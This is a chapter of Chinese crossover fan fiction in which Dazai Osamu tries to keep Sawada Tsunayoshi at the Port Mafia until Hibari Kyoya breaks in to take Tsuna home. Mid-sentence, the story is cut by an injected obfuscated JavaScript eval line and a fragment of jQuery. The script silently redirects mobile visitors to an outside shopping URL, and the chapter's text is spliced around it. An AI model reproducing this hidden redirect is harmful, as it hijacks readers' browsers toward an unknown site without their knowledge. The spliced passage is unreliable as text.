数十个显示屏占满整张墙面,平静而无异常地运作着。
入江正一目不斜视走过,技术员与操作台于正中环绕一圈,中间悬下最大的显示屏上,清晰显示着太宰治房间外的模样。
“还是没有动静吗?”
“报告入江大人,刚才门打开过一次,但又关上了。”
“继续观察。”
入江正一眉头紧锁,他手肘按着隐隐作痛的肚子,没有看见背后墙上,其中一面显示屏滴滴闪烁着红灯警告。
太宰治房间外,两个保镖兢兢业业地站着岗,牢固的门与墙没有泄出里面一丝争吵。
“什么意思?”沢田纲吉将太宰治手腕抓得更紧:“骸怎么了?”
听到这个问题,太宰治了然一笑。
“太宰君!你说清楚。”
“果然很重要。”太宰治并不被这样的急情胁迫,他轻飘飘就抽出了手,坐会自己的椅子上。
沢田纲吉深吸一口气:“无论谁出事我都会这么着急的。”
“是吗?对你来说,我和六道骸是一样的吗?”
太宰治看出沢田纲吉想要点头。
“如果是这样,我可能会同情六道骸了。”
“这些都不重要,你先告诉我骸到底怎么了?”
“怎么不重要?”太宰治的脸色突然冷了下来:“纲吉君,我比谁都清楚你在港口黑手/党是为了什么,所以也比谁都清楚,你会为了什么事离开港口黑手/党。”
沢田纲吉感受到指腹上彭格列戒指强烈的存在感,太宰治的目光同样落在那之上。
“如果你拿到了中也那枚戒指,你还会留下吗?”
他还没有想过这个问题。
沢田纲吉思考片刻:“如果……”
“没有如果。”太宰治没有像从前的温柔:“从六道骸出现的那刻,港口黑手/党的安宁就被打破了。”
“他、狱寺隼人,还有山本武,都对港口黑手/党带来了不小的损失——别误会,我不是替港口黑手/党伸张正义。”
“如果他们还只能算是小打小闹,那些匣子的秘密才让我觉得,必须到此为止了。”
太宰治看着咖啡杯里自己的倒影:“我查不到你们从哪里来,目的是什么,唯一明了的,就是你们的出现会影响横滨势力格局,会给港口黑手/党带来无数麻烦。”
沢田纲吉僵在原地,他想过用港口黑手/党找到以前的同伴,想过帮港口黑手/党研究匣子抵御白兰,但他从来都没想过,或许是不敢想,港口黑手/党的这些麻烦都是因他而起。
也都是因为他,事情才会变成现在这样。
“太宰君,你真是这样觉得的吗?”
太宰治扭头,他并不喜欢用愧疚留住一个人,但他已经用过很多办法。
好心提醒、威逼利诱、晓之以情动之以理,沢田纲吉都不听,他还能怎么做?
“我觉得,这种情况下,你如果还离开就太不像话了。”
沢田纲吉看不清太宰治眼里的情绪,似乎如他所说,这只是一次权衡利弊后的挽留。
“我不会离开的,至少在处理完这些麻烦前,都不会。”
太宰治抿唇,不去看他:“那就待在这。”
“……好。”沢田纲吉嘴唇动了几下,还是什么都没说。
听到了想要的回答,太宰治却并没有一丝开心的感觉,他喝了口咖啡,味蕾尝到苦涩,一路蔓延到五脏六腑。
沢田纲吉没有再追问六道骸的下落,他垂着头,一声不吭地倚在墙上,脚下的阴影被灯光拉得很长,长到了太宰治脚边。
太宰治动了动鞋尖,他连这个人的影子都不想踩到,为什么会说这样的话呢?
“我不清楚六道骸遇到了什么,但听涩泽龙彦的意思,他应该没事,只是暂时回不来日本。”
沢田纲吉抬眼看向太宰治:“谢谢。”
太宰治欲言又止,房间里陷入了诡异的沉默。
走廊深处传来爆炸声,门外的保镖顿时警觉,掏出背后的手枪对准浓烟处:“什么人!”
房间内的沢田纲吉正抄着手闭目养神,口袋里戒指的光芒无人看见,直到——
“轰!”
墙体被摧毁,太宰治站起身,能在这里造成这样破坏的人,他心往下沉了沉。
“太宰君!”沢田纲吉下意识就冲到了太宰治身边。
太宰治如梦初醒,看着向他冲来的人,他缓缓抬起手,紧紧抓着他的肩。
“纲吉君……”
“别怕,有你在我能用出火焰。”
他怕的并不是这个。
而是机关算尽后,沢田纲吉还是会离开。
“我们立刻离开,纲吉君。”
太宰治手心冒出冷汗,拉着沢田纲吉往另一边撤。
沢田纲吉看着门口倒下的两个保镖:“但是,这里不管了吗?”
“你还要管多少人?”
沢田纲吉怔住,太宰治从没有冷漠成这样过。
“不管你愿不愿意,这个世界是有取舍的。”
太宰治松开手,静立在纷乱翻滚的烟尘中。
“跟我走,或者。”
他没有将威胁说出口,只是最普通的一句挽留,不会在记忆里留下任何痕迹,像是输掉全部筹码后垂死挣扎的最后一次赌局。
沢田纲吉始终不明白太宰治恐惧的来源。
“你知道来的人是谁?”
“是,我知道,我也不想让他找到你。”
“为什么?”
“很简单。”看见对面尽头逐渐走近的人影,太宰治淡定一笑:“因为他会带走你,你不会再回来。”
沢田纲吉蹙眉:“我答应过你。”
“纲吉君才更像小孩子。”
“……”
“承诺没用,相信也没用。”太宰治嗤笑:“我看到了事实,推算出最大概率的结果,这才是理由。”
“什么事实?难道你觉得我会食言吗?”
沢田纲吉有些生气,他朝太宰治走去,刚伸出手,不知什么东西掠过手背,他躲避很快,却还是擦出了深深的血痕。
“这是——”
太宰治静静看着他的手背,声音轻得像风。
“这就是我看到的事实,强大的实力,和你无比抵抗的,感情。”
沢田纲吉根本没有听见,他回头,视野尽头,一抹紫色的火焰从烟尘中跳跃而出。
刺猬小卷冒到沢田纲吉眼前,轻轻叫了一声。
沉稳而轻捷的脚步声回荡在断壁残垣间,沢田纲吉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623084|204200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咽了咽,喉结上下滚动,来不叫呼出声,一道寒光掠至眼前,他往后一仰,云雀恭弥的脸赫然近在眼前。
杀意与笑意一同到来。
“找到你了,沢田纲吉。”
话音落地,又是一记浮萍拐袭来。
太宰治冷眼旁观着两人的交手,沢田纲吉匆匆看了他一眼,依旧没有读懂其中复杂的情绪。
“太宰君,稍等。”
沢田纲吉迅速将他推到更远的安全地带,另一只手撑在墙上往后翻身,堪堪躲过,但云雀恭弥的攻击紧追不放,沢田纲吉落地蹲在地上,低着头:“云雀学长!”
“哇哦。”
浮萍拐停在他头顶,云雀恭弥收手。
“看来你没有失忆。”
沢田纲吉敏锐:“你见过阿武了?他怎么样了?”
云雀恭弥漫不经心:“不知道,我对草食动物没有兴趣。”
“恭弥……”
“起来,和我打一架。”
沢田纲吉可怜巴巴地伸出手:“我已经用不出火焰了,云雀学长想打就打吧。”
云雀恭弥显然不信,浮萍拐继续向下,沢田纲吉闭紧眼。
但很久都没有感觉到疼痛。
沢田纲吉试探性睁开眼,云雀恭弥失去动手的兴致,收起拐,对沢田纲吉低头偷笑也视而不见:“什么时候恢复?”
沢田纲吉瞥了太宰治一眼,睁眼说瞎话:“不知道。”
云雀恭弥盯了他一会儿,冷笑了声,沢田纲吉只觉得毛骨悚然。
“沢田纲吉。”
“真的打不了。”
“花招撑不了多久,你最好尽快恢复。”
沢田纲吉讪笑了下,转过脸又抛在脑后。
这么多年最大的成长,就是他已经能熟练应付云雀学长了。
“感情好得让人羡慕呢。”
太宰治看着云雀恭弥,要不是那枚匣子,他会觉得自己见鬼了。
“你什么时候学会听人说话的?”
沢田纲吉站起身:“你们怎么认识的?”
太宰治温柔似谆谆教诲。
“还没反应过来吗?我为什么会从一开始就注意到你的戒指,又为什么会知道匣子的事。”
沢田纲吉愕然,云雀恭弥没有否认,他将匣子放回西装内侧,目光平静掠过,言简意赅:“找你。”
“云雀学长。”
没有第一时间反应过来,完全是因为云雀恭弥完全不是和别人合作的人。
沢田纲吉想要落泪了,没想到平时最不同寻常的云雀学长,是他来这里后遇到的第一个正常人。
云雀恭弥敲了敲他的头:“走吧。”
“去哪?”
“家。”没有架打,云雀恭弥打了个哈欠,侧头:“你以为呢?”
云雀学长依旧不改独断专行,熟悉的、安心的感觉让沢田纲吉仿佛回到了从前。
他从来都很少拒绝云雀恭弥,条件反射抬脚跟上。
功亏一篑,太宰治却比自己想象中坦然许多,他抱着手臂,体贴地让到一边。
擦肩而过,沢田纲吉瞥见太宰治,突然驻足。
四目相对,太宰治都以为是命运又眷顾一次时,沢田纲吉转开眼。
“恭弥,等等我。”